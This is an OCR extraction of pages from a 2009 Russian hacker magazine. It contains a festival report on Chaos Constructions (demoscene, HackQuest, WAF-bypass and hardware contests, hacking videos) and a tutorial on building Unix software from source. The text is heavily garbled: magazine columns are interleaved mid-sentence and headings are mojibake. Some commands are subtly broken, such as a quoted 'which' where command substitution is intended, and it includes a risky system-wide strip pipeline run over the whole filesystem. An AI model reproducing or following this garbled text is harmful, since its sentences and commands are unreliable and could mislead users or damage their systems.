В этом году масштабность фес- прием работ начинается за не- того, почему нашей сцене завидует с жесткими ограничениями по
тиваля осталась примерно на сколько месяцев. весь запад. Визуал в «Yes we can» «весу» работ.
том же уровне, что и в 2007-2008 Последнее, как нетрудно дога- создается полностью за счет А вот с JavaFX demo и вовсе вы-
годах. Количество посетителей, даться, относится в основном шейдеров, и использовать такой шел небольшой казус — первое
количество конкурсов, а также их к демосцене — разнообразные прием, когда никаких объектов вне место пришлось отдать сереб-
участников сопоставимо с фестами демо, интро и так далее пишутся и видеокарты не просчитывается, у ряному призеру. А все из-за
прошлых лет, здесь ничего неожи- присылаются заранее, а во время нас начали едва ли не первыми в того, что победитель Александр
данного не случилось. Однако наш феста уже происходит показ работ мире. Это интро недаром застави- Щербатый, со своей «JavaFX
«засланный казачок» — Сергей и голосование. ло народ в зале затаить дыхание и HyperSphere», оказался со-
«Dlinyj» Долин, бывший в этом году Подробно рассказывать обо всех сорвало аплодисменты. Большин- трудником Sun Microsystems.
не только в числе посетителей, демосценерских работах, пытаясь ство людей, посетивших CC09, Так что поздравления прини-
но и в числе организаторов CC, описать все продемонстриро- вообще склоняются к мнению, что мал Eustas с «Express JavaFX
отметил, что публика на этот раз ванное мейкерами, пожалуй, все из всех демо-конкурсов в этом году Demo». Справедливости ради
вела себя гораздо приличнее, если равно, что пытаться в красках больше всего удался 4k Intro. Уж скажу, что отрыв по голосам
не сказать, скованнее. изложить чужие глюки, притом очень хороши были работы, при- у чуваков был небольшой —
Обычное дело для прошлых ЦЦ — записанные со слов третьего лица. том не только те, которым удалось меньше десятка.
люди, еще только стоя в очереди Проще говоря — полет фантазии занять призовые места. И, пожалуй, на этом покончим
на вход, уже создают маленькие мейкеров стоит увидеть собствен- Первое место в ZX 640k Demo с подробностями, потому как
тусовки и начинают обсуждать ными глазами, что я советую тебе взяла работа «The Link от Alone перечислять всех победителей
между собой самые разные темы. сделать — на диске ты найдешь Coder» от Invaders8, о которой можно очень и очень долго, а на
То есть, еще даже не успев пройти большую часть конкурсных работ даже сами организаторы говорят, перебор всех работ с ZX-конкур-
регистрацию, народ уже погружал- с CC09. что она скорее проходит вне сов, всего пиксельарта, графики
ся в атмосферу олдскула — знако- Число работ, присланных в этом конкурса. Дело в том, что эта и фото не хватит и половины
мился, делился новинками, или году на демо-конкурсы, не исчис- демка написана с использовани- журнала.

086 XÀÊÅÐ 10 /130/ 09


ÕÀÊÅÐÑÊÈÅ ØÒÓ×ÊÈ «легитимном хакинге»: от сетевой Фишкой направления «Сети и ту самую музыку) методично под-
Вот уже несколько лет CC живет разведки и сканирования до Хак» в этом году также являлся бираются к проектору кинотеатра,
не только демосценой. Одним поиска уязвимостей в веб-прило- отдельный конкурс по обходу Web а добравшись, выводят на экран
из «гвоздей программы» Chaos жениях и ошибок в конфигурациях Application Firewall от компании поверх фильма сообщения а-ля
Constructions можно назвать UNIX-систем. То есть «задача» Bitrix. Участникам предстояло «Seans okon4en. Piz***te otsuda
рил-таймовый конкурс хакинга, была максимально приближена к «пробить» WAF, найдя вектора =)» и «Hacked_for_CC_09». Пос-
запутанный, нелинейный и по- «боевой», структура — абсолютно эксплуатации SQL-инъекции, XSS лать сидящих в зале на три буквы
настоящему сложный HackQuest. нелинейная (никаких рамок, толь- и Local File Including. Это было по-русски не вышло из-за глюков
Разработкой и организацией этого ко ты и твой ноутбук), и от того она и правда непросто, но наличие с кодировкой. Во второй части ви-
пира духа уже который год зани- должна была стать интересной. победителей показало: какой бы дюхи они же успешно издеваются
мается хорошо известный нашим И стала. Новый формат Хак-Квеста прикладной фильтр вы ни исполь- над http://openvpn.cc.
постоянным читателям, а также понравился абсолютно всем, и в зовали, гораздо эффективнее Второе место отошло ролику за
всем тем, кто интересуется россий- этом году стоявшая перед нами писать безопасный код ;). авторством Xakep9009. Видюха
ской сценой — Toxa, и одно только задача была проста — просто улуч- Не может не радовать и то, что повествует о взломе сначала сетки
это уже является своего рода шить и развить верно выбранное с качеством хак-квеста растет с WEP-шифрованием (уже практи-
знаком качества. Нынешний год не направление. Свою лепту на этот и уровень участников. Так, три чески традиционно — накаплива-
стал исключением, так что передаю раз внесли ребята из компании года назад победителем стал тот ем пакеты, анализируем, получаем
слово «виновнику торжества», Positive Technologies, выступав- единственный, кто мужествен- ключик), а затем подключенного
потому что лучше самого Токзы о шие в качестве соорганизаторов и но отсидел все два дня. В этом к ней iPhone. Автор в очередной
HackQuest’е не поведает никто: придумавшие большое коли- же году среди участников были раз показал всем, что WEP — одна

 ÝÒÎÌ ÃÎÄÓ ÑÐÅÄÈ Ó×ÀÑÒÍÈÊΠÕÀÊ-ÊÂÅÑÒÀ ÁÛËÈ большая уязвимость, нигде нельзя
оставлять стандартные логины-

ÑÏÅÖÈÀËÈÑÒÛ ÏÎ ÈÁ ÈÇ ÈÇÂÅÑÒÍÛÕ ÐÎÑÑÈÉÑÊÈÕ пароли (ну кто, в самом деле,


оставляет заводские логин и пасс

ÊÎÌÏÀÍÈÉ-ÈÍÒÅÃÐÀÒÎÐÎÂ, È ÌÅÆÄÓ ÍÈÌÈ роутеру?), а приватную инфор-


мацию нужно хранить в банке, в

ÐÀÇÂÅÐÍÓËÎÑÜ ÍÀÑÒÎßÙÅÅ ÑÎÑÒßÇÀÍÈÅ. смысле, под надежной защитой.


Попадание этого видео на второе
место вызвало немалое удивление
среди понимающих людей, по
«В прошлом году Хак-Квест впер- чество этапов квеста по взлому специалисты по ИБ из известных мнению которых все показанное
вые прошел по совершенно новой web-приложений. Свои этапы российских компаний-интеграто- даже не вторично, а третично и
схеме. Участникам не давалось предоставила также и компания ров, и между ними развернулось того хуже.
никакой информации, кроме Sun Microsystems: не секрет, что настоящее состязание». Третье место у d0znp, ONsec.ru за
адресации подсети, в которую они для «сетевых воинов» Солярка Также к числу хакерских конкурсов демонстрацию 1C Bitrix 8.0.5 + WAF
могли подключиться. И вместе с традиционно является редким можно отнести и HackVideo. Это XSS + Memory leak.
тем, задача у них была все такая же фруктом, в отличие от Линукса уже не рил-таймовый конкурс,
(êàê íà Õàê-Êâåñòàõ ïðîøëûõ или Винды. В итоге Хак-квест без здесь представлены хаки, после- ÏÐÎÂÎÄÀ, ÏÀßËÜÍÈÊÈ
ëåò. — Прим. mifrill) — раздобыть преувеличения стал лучшим за довательно заснятые авторами È «ÆÅËÅÇÊÈ»
ключевые слова, записанные в всю историю СС. Надо признаться, на видео и присланные на ЦЦ Помимо конкурсов в рамках Chaos
специальном формате, и ввести я не ожидал такого количества заранее. В этом году публика Constructions ежегодно проходит
их в интерфейс сервера. Но ни участников: отведенного под лучше всего оценила следующие выставка старого, раритетного и
адрес сервера, ни информация об Хак-Зону оборудования в какой-то вещи: с огромным отрывом по просто интересного железа. Здесь
интерфейсе им даны не были! Это момент даже стало не хватать, ведь голосам победили XENON and все совсем как в музее, с одной
заставило участников проявить примерно четверть всех посети- SmallBag с видюхой «EasyHack». лишь существенной разницей
весь комплекс знаний и уме- телей первого дня фестиваля, так В первой части чуваки под музыку — все на ходу, и компы, калькуля-
ний, обычно применяемых при или иначе, оседала в Хак-Зоне! из «Розовой пантеры» (да-да, под торы и прочие девайсы не только

XÀÊÅÐ 10 /130/ 09 087


СЦЕНА

«можно потрогать», но за ними даже нужно стало слегка банальным, но зрелище все равно «взрыва». На задание было потрачено 59 мин
посидеть и поработать, приобщаясь к нетлен- крайне захватывающее). 59 секунд минус это время).
ному и олдскульному, или наоборот — к новому Кстати, еще одна не менее впечатляющая часть
и оригинальному. «железного» Chaos Constructions — Real-time È ÅÙÅ ÊÎÅ-×ÒÎ
Каждый год здесь представляют уникальные Hardware Hack. Как понятно из названия, народ Если ты думаешь, что это все, то глубоко
экспонаты, в основном, конечно, собранные, в режиме реального времени ломает железки. ошибаешься. Кроме уже перечисленного,
найденные и возвращенные к жизни силами Процитирую правила конкурса: Chaos Constructions может похвастаться
самих коллекционеров. Впрочем, не подумай, «Конкурс проводится непосредственно на еще и семинарами по самым разным тема-
что на CC нет ничего, кроме седой древности, фестивале, в течение 1-3 часов. Каждый тикам. Например, в этом году были «раскры-
работавшей на перфокартах: представлены и из участников получает устройство (печат- ты темы» методов обхода Web Application
более «новые» девайсы, которые так или иначе ная плата с элементами, без корпуса), на Firewall и практического применения
чем-то примечательны. индикаторе которого идет обратный отсчет. JavaFX. Прошел мастер-класс по участию
Каждая машина заботливо сопровождается Задача — изучить и обезвредить устройство, в разработке свободного ПО на примере
листом с подробным ее описанием, а порой путем выставления на его входном разъеме ReactOS; продолжилась начатая еще на про-
даже с экскурсом в историю, цитатами из комбинации перемычек, останавливающей шлом ЦЦ дискуссия об ОС Фантом; и многие
Википедии и от руки нарисованными картин- обратный отсчет. Устройство реализовано на с удовольствием послушали исторический
ками. Рядом с техникой тусуются ее хозяева, жесткой логике с применением отечествен- семинар Sceneart history — о развитии
которые только рады рассказать подробности, ной элементной базы. Участникам предостав- направления двухмерной (2D) рисованной
все показать и обсудить. Например, своего ляются перемычки, светодиоды, резисторы, компьютерной графики, то есть, по сути, о
рода завсегдатаи выставки CC Easy John (http:// бумага, карандаш, справочная литература. демосцене и ее истории.
easyjohn.livejournal.com) и Сергей Фролов Победа присуждается тому, кто первым «За кадром» в этой статье останутся всена-
(http://www.leningrad.su/museum). Если эти назовет правильную комбинацию для своего родно любимые конкурсы по метанию жестких
имена тебе незнакомы, советую сходить по устройства. Помните, что своими действиями дисков и кибер-городки (аналог обычных
ссылкам, там много интересного: так, Сергей вы можете не только остановить, но и уско- городков, только фигуры здесь строят не из
Фролов обеспечил едва ли не половину парка рить отсчет! Во время конкурса участникам деревянных брусков, а из хардов, CD/DVD-
старой техники на CC09. не разрешается пользоваться компьютерами, приводов и другого «железа»). И совершенно
В остальном, чего только нет на «железной» час- собственной справочной литературой, собст- невозможно передать словами те чувства,
ти фестиваля... Наш резидент Dlinyj, к примеру, венным оборудованием». которые испытыаешь, сидя за компом, место
представлял роутер под Линуксом с приделан- Стоит ли говорить, что напряжение буквально которого в музее, за стеклом с сигнализацией.
ным к нему терминалом, с которого можно было витает в воздухе, так его ионизируя, что того и Равно как и нельзя передать тот азарт, что
вводить команды и управлять роутером, и эму- гляди проскочит разряд? :) Создается полное витает над участниками всевозможных рил-
лятор RFID-карточек. Были также и олдскульные ощущение того, что участники на самом деле таймовых состязаний; и увлеченность элект-
моноблоки, в которых наличествовало букваль- обезвреживают бомбы, имея в запасе всего ронщиков, с которой они что-то паяют, подклю-
но все, включая даже телефон — старая попытка одну попытку, как сапер из известной при- чают и доделывают прямо на ходу; и гордость
создать «офисный компьютер», которую в Intel говорки. Кто-то рисует на бумажках схемы, хозяев раритетных машин, и многое, многое
некогда сочли нерентабельной и заморозили кто-то экспериментирует, рискуя ошибиться. другое. Чтобы до конца понять, что же такое
проект. Ставшие ненужными компы тогда осели Ничего, казалось бы, замысловатого, но Chaos Constructions, нужно увидеть его свои-
в одной фирме, откуда их и «спасли». Было мно- сколько фана, если даже не сказать адрена- ми глазами, нужно проникнуться его духом и
жество Спектрумов, Amiga, Commodore и Atari. лина! Победителями этого нелегкого челлен- нужно его прожить. В свете того, что фестиваль
Была оборудованная приставками и компами джа стали: первое место — Павел Захаров ежегодный, такая возможность представится
геймзона, которая порадовала многих. Имелся (voice.el) 19:13; второе место — Конзуровс- уже в конце лета 2010 года, и не знаю, как ты, а
стенд оверклокеров, где ребята с overclockers. кий Александр 13:58; третье место — NOOP лично я ею пренебрегать не собираюсь. Ведь
ru химичили с жидким азотом (может это уже и (Борис) 12:15 (указано время, оставшееся до где еще можно увидеть такое? z

088 XÀÊÅÐ 10 /130/ 09


UNIXOID
ЕВГЕНИЙ ЗОБНИН ZOBNIN@GMAIL.COM

Танцы с бубном
и напильником
Все, что ты хотел знать о сборке из исходников
Рано или поздно все мы сталкиваемся с необходимостью сборки соф-
та из исходников. Причин тому огромное множество, а проблем, со-
провождающих этот процесс, еще больше. Что выбрать — архив tar.gz
или CVS-срез? Как накладывать патчи? Что делать, если в исходниках
нет скрипта configure? Как побороть ошибки компиляции? Как создать
дистрибутивный пакет и заставить программу работать? Ответы на эти
и многие другие вопросы ты найдешь в этой статье.

$ tar xvzf èìÿ.àðõèâà.tar.gz Subversion, Git, Hg и множество других про-


ÏÎËÓ×ÅÍÈÅ ÈÑÕÎÄÍÛÕ ÒÅÊÑÒΠдуктов) в качестве источника «свежатинки»
ÏÐÈÌÅÍÅÍÈÅ ÏÀÒ×ÅÉ или несет в себе массу полезнейших побочных
ÏÎÄÃÎÒÎÂÊÀ Ê ÑÁÎÐÊÅ эффектов. Тут и возможность всегда быть «на
ÊÎÍÔÈÃ ÓÐÈÐÎÂÀÍÈÅ È ÑÁÎÐÊÀ $ tar xvjf èìÿ.àðõèâà.tar.bz2 острие атаки», когда ты собираешь програм-
ÏÐÎÁËÅÌÛ ÊÎÌÏÈËßÖÈÈ му, последнее изменение в которую внесли
ÏÐÎÁËÅÌÛ ÊÎÌÏÈËßÖÈÈ Â BSD Примечание: если в твоей *nix-системе утилита 15 минут назад, и быстрое обновление (VCS
ÓÑÒÀÍÎÂÊÀ tar не поддерживает флаг ‘-j’, то задействуй выкачивают только изменившиеся файлы во
ÏÐÎÁËÅÌÛ ÇÀÏÓÑÊÀ конструкцию: «bunzip2 < имя.архива.tar.bz2 | время обновления), и чувство причастности
tar xvf -». к чему-то важному, в конце концов. Но есть

Ñ
татья разделена на несколько мета- Однако это не всегда будет самым удачным и отрицательный момент — нестабильность
разделов, пошагово описывающих выбором. Команды разработчиков некоторых хранящегося в VCS кода, которым, правда,
процесс сборки приложения и проектов допускают очень длительные пере- можно пренебречь: в больших и серьезных
установки его в систему. Ты можешь рывы между выпусками релизов своих детищ проектах экспериментальные и особо неус-
проглотить ее сразу или использовать как (вплоть до нескольких лет!), продолжая тойчивые нововведения обычно производят
справочник: разделы не зависят один от втихую работать над проектом. Причем это в отдельных ветках, а уже после вносят в
другого. совсем даже не намек на огромное количест- основной код.
во багов, которые программисты чинят днями Учитывая , что в последнее время развелось
ПОЛУЧЕНИЕ и ночами — просто необходимый объем функ- множество различных систем контроля версий,
ИСХОДНЫХ ТЕКСТОВ циональности еще не накопился. беру на себя обязанность описать процесс
Получить исходные тексты приложения Выход из ситуации кроется в том, чтобы побро- получения исходных текстов из репозитория
можно несколькими способами. Самый дить по сайту разработчиков и найти ссылку каждой из них:
простой и наименее трудозатратный — на ежемесячные/еженедельные/ежеднев- • CVS — уже мало где используется, но имеет
скачать архив tar.gz или tar.bz2 (или даже ные снапшоты. Если же ничего подобного на место быть:
tar.lzma) с официального сайта разработ- горизонте не виднеется, тогда бегом в святую
чиков. В этом случае достаточно распако- святых — VCS-репозиторий исходных текстов $ sudo apt-get install cvs
вать полученный файл с помощью одной проекта. $ cvs -z3 -d:pserver:anonymous@
из приведенных ниже команд и перейти к Использование репозитория VCS (системы cvs.bochs.sf.net:/cvsroot/bochs
следующему разделу статьи. контроля версий, к коим можно отнести CVS, checkout bochs

090 XÀÊÅÐ 10 /130/ 09


• Subversion — используется в проектах, раз- использованию. Во-первых, тебе понадобится
мещенных на sf.net и code.google.com: собственно сам компилятор, содержащийся
в пакетах gcc-* или тому подобных. Во-вто-
$ sudo apt-get install subversion рых, компоновщик и архиватор библиотек
$ svn checkout http://inferno-ds. из пакета binutils. В-третьих, заголовочные
googlecode.com/svn/trunk/ inferno- файлы стандартной библиотеки языка Си —
ds-read-only пакет libc-dev, и, конечно же, утилита make. Во Налицо несовпадение
многих дистрибутивах все это можно получить версий патча и программы
• Git — особо любима Linux-разработчиками, через установку специального мета-пакета.
используется на kernel.org и github.com: Пример для Ubuntu:
Популярная система сборки autotools, иден-
$ sudo apt-get install git-core $ sudo apt-get install build- тифицируемая по наличию скрипта configure,
$ git clone git://github.com/ essential более дружелюбна к пользователю и позво-
russel/scons.git ляет указывать все опции компиляции через
Файл README, содержащийся в корне архива, аргументы командной строки:
• Mercurial — code.google.com и множество обязателен к прочтению. Как правило, в нем
других, более мелких, хостингов: описаны все необходимые приложению $ ./configure --prefix=/usr/local
зависимости, а также рекомендации по сборке --without-debug --without-gtk
$ sudo apt-get install mercurial и ответы на вопросы. INSTALL тоже можно про- --with-qt --enable-mmx
$ hg clone https://inferno-os. глядеть, но обычно он является стандартной
googlecode.com/hg/ inferno-os копией одноименного файла, поставляемого Где '--prefix' означает путь установки прило-
с набором утилит autotools, и не представляет жения, флаги '--with-что-то-там' и '--without-
ПРИМЕНЕНИЕ ПАТЧЕЙ интереса. что-то-там' позволяют включить или отключить
Исходные тексты — это еще не все. Иногда добавляемые в приложение компоненты, а
возникает необходимость в наложении хитрых КОНФИГУРИРОВАНИЕ флаги типа '--enable-вот-это' используются
патчей на приложения с целью расширить И СБОРКА для указания на использование специального
их функционал или исправить баг (выпуск В открытых проектах используются специ- кода. Скрипт оценит пригодность операцион-
неофициальных патчей, временно устраня- альные системы сборки, задача которых ной системы для сборки и установки прило-
ющих сложно уловимые баги в коде — частая заключается в определении типа операцион- жения и сгенерирует стандартный (но очень
практика в среде Open Source). Что делать? ной системы, установке специальных флагов большой) Makefile, а для компиляции приложе-
Все просто. Первое: следует убедиться, что компилятора и линковщика, поиске необходи- ния останется набрать заветную команду make.
патч создан для той версии программы, мых приложению библиотек и заголовочных Если же ни Makefile, ни configure в архиве не
исходниками которой ты завладел — неболь- флагов и последующей сборке и установке наблюдается — значит, программа исполь-
шие расхождения в версиях допустимы, но приложения. зует одну из альтернативных систем сборки:
не рекомендуемы. Второе: просмотреть патч, Традиционно в качестве такой системы scons (файл SConstruct в корне) или cmake
возможно в нем содержится бэкдор. Третье: использовался покрытый сединой Makefile, в (CMakeLists.txt). В первом случае необходимо
проверить, гладко ли накладывается патч, и котором были описаны правила компиляции установить сам scons:
накладывается ли он вообще: и установки приложения. Однако простота
его синтаксиса вынуждала программистов $ sudo apt-get install scons
$ cd èñõîäíèêè_ïðîãðàììû выполнять двойную работу (написание самого
$ patch --dry-run -p1 < /ïóòü/ê/ïàò- приложения, плюс написание большого И запустить процесс компиляции:
÷ó.patch Makefile, который учитывал все особенности
низлежащей ОС, самостоятельно находил $ scons PREFIX=/usr/local
Если все ОК, можно запустить процедуру библиотеки и т.д.) Поэтому в рамках проекта $ sudo scons
модификации: GNU был разработан набор утилит autotools,
которые автоматизировали 95% этой работы Опции обычно описаны в файле README и пе-
$ patch -p1 < /ïóòü/ê/ïàò÷ó.patch и генерировали готовый к использованию редаются утилите scons в качестве аргументов.
Makefile. Позднее autotools, написанные на sh Сборка с помощью cmake напоминает ис-
Патчи могут распространяться в сжатом виде и perl, разрослись и стали настолько неудоб- пользование autotools с той лишь разницей,
(с расширением .gz или .bz2). В этом случае ны, что были разработаны альтернативные что вместо запуска ./configure необходимо
процедура наложения будет выглядеть так: системы сборки, наиболее популярны из набирать команду cmake. Вся последователь-
которых scons и cmake. ность команд выглядит примерно так (cmake
$ gzip -cd ïàò÷.gz | patch -p0 К чему это я? К тому, что от используемой требует указания каталога сборки, поэтому мы
системы сборки напрямую зависит то, какие указываем точку):
или команды придется выполнять пользователю,
чтобы, имея исходные тексты приложения, $ sudo apt-get install cmake
$ bzip2 -cd ïàò÷.bz2 | patch -p0 получить его бинарник. Например, в систе-
мах, основанных на Makefile (которые легко $ cmake .
Не бойся экспериментировать, потому что идентифицировать по наличию одноименного $ make
изменения, созданные патчем, всегда можно файла в корне архива с исходниками), для
отменить, запустив команду patch с флагом ‘-R’. сборки используется привычная команда Опции передаются на манер scons и также
make, а конфигурация (пути установки, набор обычно описаны в README или INSTALL.
ПОДГОТОВКА К СБОРКЕ включаемых в приложение компонентов,
Перед тем как приступить к сборке приложе- флаги компилятора и т.д.) обычно указывается ПРОБЛЕМЫ КОМПИЛЯЦИИ
ния, хорошо бы убедиться в том, что все необ- прямо в самом Makefile (хотя может находиться Проблемы со сборкой приложения могут
ходимые инструменты установлены и готовы к и в отдельном файле). возникнуть как на этапе конфигурирования

XÀÊÅÐ 10 /130/ 09 091


UNIXOID

Пакет build-essential, содержа- Получаем исходный код проекта из «Стрипаем» бинарники


щий все, что нужно для сборки из репозитория Subversion
исходников

системы сборки, так и на этапе непосредствен- что пытаются использовать привычную коман-
ной компиляции приложения. Большинство из $ export CFLAGS="$CFLAGS -I/usr/ ду make для сборки приложения и получают
них связано с поиском тех или иных библиотек, local/include -I/opt/include -I/ гору ошибок о неправильном синтаксисе
заголовочных файлов и других компонентов, от usr/mysoft/include" мэйкфайла. Связано это с тем, что BSD-систе-
которых зависит работоспособность приложе- $ export LDFLAGS="$LDFLAGS -L/usr/ мы используют собственную версию make, не
ния. Их легко идентифицировать по более чем local/lib -L/opt/lib -L/usr/mysoft/ унаследовавшую весь ворох нововведений,
многословным сообщениям системы сборки: lib" сделанных в GNU Make. Поэтому следует
устанавливать gmake через систему портов и
Checking for qt4... no Встречаются и совсем хардкорные случаи, собирать приложение с его помощью (gmake
когда зависимость нужной версии установлена && gmake install).
В этом случае достаточно установить требуе- вместе со всеми заголовочными файлами в ка- Вторая загвоздка: пути поиска библиотек и
мый пакет (и его заголовочные файлы, которые талоги, расположенные по правильным путям, заголовочных файлов, без явного указания ко-
содержатся в пакетах *-dev) с помощью пакет- а конфигуратор все равно отказывается их на- торых во FreeBSD просто невозможно собрать
ного менеджера и вновь запустить процесс ходить. Придется лезть в сам скрипт configure сторонний софт.
конфигурирования. и комментировать все места, где производится Третья проблема зачастую останавливает
В некоторых случаях сборщик может искать не поиск зависимости. Обычно после такого вме- даже самых настойчивых. Имя ей — несов-
сам пакет, а только его заголовочные файлы, шательства конфигуратор сборщика отраба- местимость заголовочных файлов и систем-
выводя на экран сообщения вроде: тывает без ошибок, и программа благополучно ных библиотек, а истоки в собственном пути
собирается. BSD и отказе от использования компонентов
Checking for unistd.h... no Достаточно часто можно наткнуться на прило- GNU на системном уровне. FreeBSD (почти)
жения, которые не могут быть собраны новым совместима со стандартом POSIX, и правильно
Тогда придется обратиться к поиску google, компилятором (как это до недавнего времени написанные приложения собираются для нее
чтобы найти название пакета, содержащего было с эмулятором qemu). Поэтому, если ты без всяких проблем, но стоит программисту
необходимый заголовочный файл. встретил упоминание о чем-то подобном в задействовать какие-то Linux-специфичные
Но это еще не все, и ты можешь сильно README, просто установи рекомендованную системные вызовы или макрокоманды в своем
удивиться, обнаружив, что после установки автором версию компилятора и укажи путь к приложении — все, тупик. Сборка останавли-
пакета конфигуратор продолжает ругаться на нему через переменную CC перед запуском вается, и заставить ее продолжиться бывает
его отсутствие. Причин тому может быть три: сборщика: очень и очень сложно. Вот список проблем,
недоустановленные dev-пакеты, устаревшие с которыми может столкнуться пользователь
версии пакетов в дистрибутиве, неправиль- $ sudo apt-get install gcc-3.4 FreeBSD во время сборки приложения, ориен-
ные пути поиска библиотек и заголовочных $ export CC='which gcc-3.4' тированного на Linux-системы:
файлов. Но если первая проблема решается $ ./configure --prefix=/usr/local 1. Ругань компилятора на необъявленные
легко, то с двумя другими есть сложности. Ты функции. В заголовочных файлах (*.h) ядра и
можешь попытаться обновить необходимый ПРОБЛЕМЫ библиотеки языка Си между Linux и FreeBSD
пакет с помощью пакетного менеджера, но это КОМПИЛЯЦИИ В BSD есть отличие, — некоторые функции/системные
не сработает, если дистрибутив уже устарел, и В довесок ко всему перечисленному поль- вызовы могут быть объявлены в разных местах.
в качестве обновлений к нему выходят только зователи FreeBSD получают массу других Зачастую следует лишь набрать «man имя_
багфиксы, или если приложение требует проблем, корни которых растут из специфики функции» в терминале FreeBSD и посмотреть,
новейшую версию библиотеки, которую еще не самой операционной системы. Ведь, несмотря к какому заголовочному файлу она относится.
успели упаковать в пакет. Придется собирать на наличие системы портов, которая как раз Если хидер не включен в файл, обруганный
из исходников уже саму зависимость, а также и создана для того, чтобы автоматизировать компилятором, значит, проблема решится за
зависимость зависимости и т.д. процесс сборки стороннего софта, необходи- счет добавления строки «#include <заголо-
Проблема с неправильными путями поиска мость «ручного вмешательства» возникает вочный файл.h>» в исходник. Если же искомая
обычно связана: достаточно часто. Порты некоторых программ функция вообще отсутствует в системе, то
1. с ошибкой того, кто составлял правила для совсем не обновляются, другие помечены остается найти ее код на просторах интернета и
системы сборки; флагом BROKEN, а новый софт может пройти скопировать прямо в исходник.
2. установкой зависимости в нестандартный очень долгий путь перед включением в офици- 2. Ругань на отсутствующие макроопределения
каталог (например, если она тоже была собрана альное дерево. Вот и приходится выкачивать (по соглашению их имена пишутся заглавны-
из исходников). исходники и самостоятельно компилировать ми буквами). Корень проблемы, опять же, в
Ðåøåíèå: указать пути поиска через переменные программу, спотыкаясь по пути о множество различии заголовочных файлов, Linux-вари-
компилятора и линковщика перед запуском повсюду разбросанных камней. анты которых содержат множество подручных
сборщика: Часто новички входят в ступор просто от того, макроопределений, а их может и не быть в

092 XÀÊÅÐ 10 /130/ 09


Scons честно сообщает, что нужно программе для кор-
ректной сборки

Порой причину ошибки найти нелегко, — заботливы. Что делать? Первое: перечитать README. Воз-
даже обычный /bin/ls делает множество можно, в некоторых системах или при стечении определенных
неудачных попыток открытия файлов обстоятельств софтина не работает, о чем автор уже знает. WARNING
Второе: проверить, какие компоненты программа установила
в систему, и доступны ли они ей. Например, она может исполь-
зовать один из подкаталогов каталога /var для хранения своих
заголовочных файлах FreeBSD. Решение: найти код макро- временных файлов, а он почему-то не был создан или получил info
определения в интернете или Linux-хидерах и вставить его неправильные права доступа. Третье: запустить программу с • BSD-версия
прямо в исходник приложения. флагом '--help' и проверить, поддерживает ли она дебаг- команды patch не
3. Ругань на функции, которые являются системными вызо- режим с выводом диагностических сообщений на экран. поддерживает флаг
вами (проверяется с помощью обращения ко второй секции Если это так — включить его. Наверняка на экране появится ‘--dry-run’.
man-страниц в Linux). В большинстве случаев это тупик. сообщение об ошибке и, возможно, даже описание способов
Если сам разработчик не позаботился об опции, отвечаю- устранения. Четвертое: если это сервер, который ведет логи — • Осторожнее с рас-
щей за их отключение, единственный путь — переписыва- проверить их на наличие диагностических сообщений. ширениями tgz и tbz!
ние исходника, что сложно и недостойно. Если же ничего не помогло, задействуй тяжелую артиллерию. Такие архивы могут
В любой *nix-системе есть трассировщик системных вызо- содержать не исход-
УСТАНОВКА вов, предназначенный для отслеживания всех сисколлов, ный текст программы,
После сборки приложение необходимо установить. В подав- произведенных приложением, и проверки их возвращаемого а бинарный пакет
ляющем большинстве случаев эта операция выполняется значения. В Linux он зовется strace, а во FreeBSD — truss (хотя для установки
с помощью простой команды «make install» (или «scons через систему портов доступен и strace). Просто запусти про- в BSD-системе.
install»), которая копирует компоненты приложения на свои грамму под его управлением, и ты увидишь все ее обращения
места и устанавливает права доступа. Вот только удалить к операционной системе в режиме реального времени:
приложение после зачастую можно только с помощью
ручного затирания его файлов (может помочь также команда $ strace ñîôòèíà
«make uninstall», выполненная из корня исходников, но она INFO
наличествует далеко не всегда). Поэтому лучше прибегнуть к Вывод лучше смотреть с конца, постепенно пролистывая все
специализированным средствам для создания настоящего вызовы close в поисках последовательности вызовов open.
дистрибутивного пакета. Наиболее простое и эффективное Затем необходимо проверить, какие из последних вызовов open
из них — утилита checkinstall (http://checkinstall.izto.org), вернули отрицательный статус (-1), и просмотреть, к чему проис- info
предназначенная для создания пакетов в момент установки ходило обращение. В 95% случаев ошибка связана с отсутстви- • Система портов
программы из исходников. Ее уникальность в удивитель- ем (или недоступности вследствие неправильных прав доступа) Gentoo, ArchLinux или
ной простоте использования. Все, что нужно сделать для какого-либо файла или каталога. Трассировщик покажет все FreeBSD — отличный
создания пакета и установки его в систему — набрать одну из обращения к файлам, и найти недоступного будет несложно. источник инфор-
приведенных ниже команд вместо «make install»: мации о том, как
ФЛАГИ ОПТИМИЗАЦИИ правильно собрать
# checkinstall -R // RPM-ïàêåò Игры с флагами оптимизации — одна из основных причин программу с учетом
# checkinstall -D // Deb-ïàêåò краха или неправильной работы самостоятельно собранных всех зависимостей.
# checkinstall -S // Slackware приложений. Следует понимать, что любая оптимизация
выше уровня '-O1' (или просто '-O') потенциально опасна. • Если для запуска
После того как установка приложения будет завершена, Флаг '-O2', хоть и не страшен для большинства приложе- собранного би-
выполни команду strip для бинарников и библиотек при- ний, запросто убивает низкоуровневый код с ассемблерными нарника требуется
ложения с целью уменьшить их объем. Уже установленные вставками, а '-O3', активирующий агрессивный режим, подключить динами-
приложения можно «стрипнуть» с помощью двух команд: идущий против стандартов, легко отправляет в корку каждое ческие библиотеки,
второе приложение. Об остальных флагах и говорить не стоит, расположенные
# find / | xargs file | grep "executable" | они предназначены для весьма узкого круга приложений, в нестандартных
grep ELF | cut -f 1 -d : | xargs strip --strip- поэтому мы бы порекомендовали остановиться на следующих каталогах, используй
unneeded опциях оптимизации и беречь свои нервы и нервы других: ldconfig(8). При-
# find / | xargs file | grep "shared object" | • O — базовая оптимизация. Значительно увеличивает мер для OpenBSD:
grep ELF | cut -f 1 -d : | xargs strip --strip- скорость исполнения программы. «ldconfig /usr/local/
unneeded • O2 — стандартный уровень оптимизации. По сравнению lib /usr/X11R6/lib».
с '-O' несущественно увеличивает как размер бинарника,
ПРОБЛЕМЫ ЗАПУСКА так и скорость исполнения программы.
С гордостью за выполненную работу ты набираешь в терми- • Os — оптимизация уровня '-O2' в совокупности с флага-
нале заветную команду и — бац! — программа завершается, ми, уменьшающими размер.
не успев начать выполняться. Wtf? По всей видимости, где-то • fomit-frame-pointer — указываем компилятору не сохранять
в процессе инициализации программа встретила ошибку и указатель на кадр стека (так мы избегаем временных затрат на его
завершилась. Хорошо было бы увидеть хоть какое-то диагнос- сохранение и восстановление). Использование этого флага мо-
тическое сообщение, но далеко не все программисты столь жет благотворно повлиять на скорость исполнения программы.z

XÀÊÅÐ 10 /130/ 09 093


UNIXOID
